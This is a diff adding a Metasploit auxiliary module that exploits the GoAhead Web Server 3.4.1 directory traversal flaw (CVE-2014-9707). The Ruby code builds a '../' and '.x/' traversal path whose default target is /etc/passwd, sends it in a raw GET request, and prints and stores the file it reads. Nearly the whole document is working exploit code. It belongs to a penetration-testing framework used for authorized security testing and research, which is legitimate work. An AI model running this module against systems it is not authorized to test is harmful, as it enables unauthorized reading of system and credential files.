Land rapid7#5101, Add Directory Traversal for GoAhead Web Server

Author: wchen-r7

modules/auxiliary/scanner/http/goahead_traversal.rb

@@ -0,0 +1,76 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::Scanner
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+                      'Name'           => 'GoAhead Embedded Web Server Directory Traversal',
+      'Description'    => %q{
+        This module exploits a directory traversal vulnerability in the EmbedThis GoAhead Web Server v3.4.1,
+        allowing to read arbitrary files with the web server privileges.
+      },
+      'References'     =>
+        [
+          ['CVE', '2014-9707'],
+          ['URL', 'http://packetstormsecurity.com/files/131156/GoAhead-3.4.1-Heap-Overflow-Traversal.html']
+        ],
+      'Author'         =>
+        [
+          'Matthew Daley', # Vulnerability discovery
+          'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
+        ],
+      'License'        => MSF_LICENSE
+    ))
+
+    register_options(
+      [
+        Opt::RPORT(80),
+        OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]),
+        OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 5 ])
+      ], self.class)
+
+    deregister_options('RHOST')
+  end
+
+  def run_host(ip)
+    filename = datastore['FILEPATH']
+    filename = filename[1, filename.length] if filename =~ /^\//
+    traversal = "../" * datastore['DEPTH'] << ".x/" * datastore['DEPTH'] << filename
+
+    res = send_request_raw({
+      'method' => 'GET',
+      'uri'    => "#{traversal}"
+    })
+
+    if res &&
+        res.code == 200 &&
+        res.headers['Server'] &&
+        res.headers['Server'] =~ /GoAhead/
+
+      print_line("#{res.body}")
+
+      fname = datastore['FILEPATH']
+
+      path = store_loot(
+        'goahead.traversal',
+        'text/plain',
+        ip,
+        res,
+        fname
+      )
+
+      print_good("#{peer} - File saved in: #{path}")
+    else
+      print_error("#{peer} - Nothing was downloaded")
+    end
+  end
+end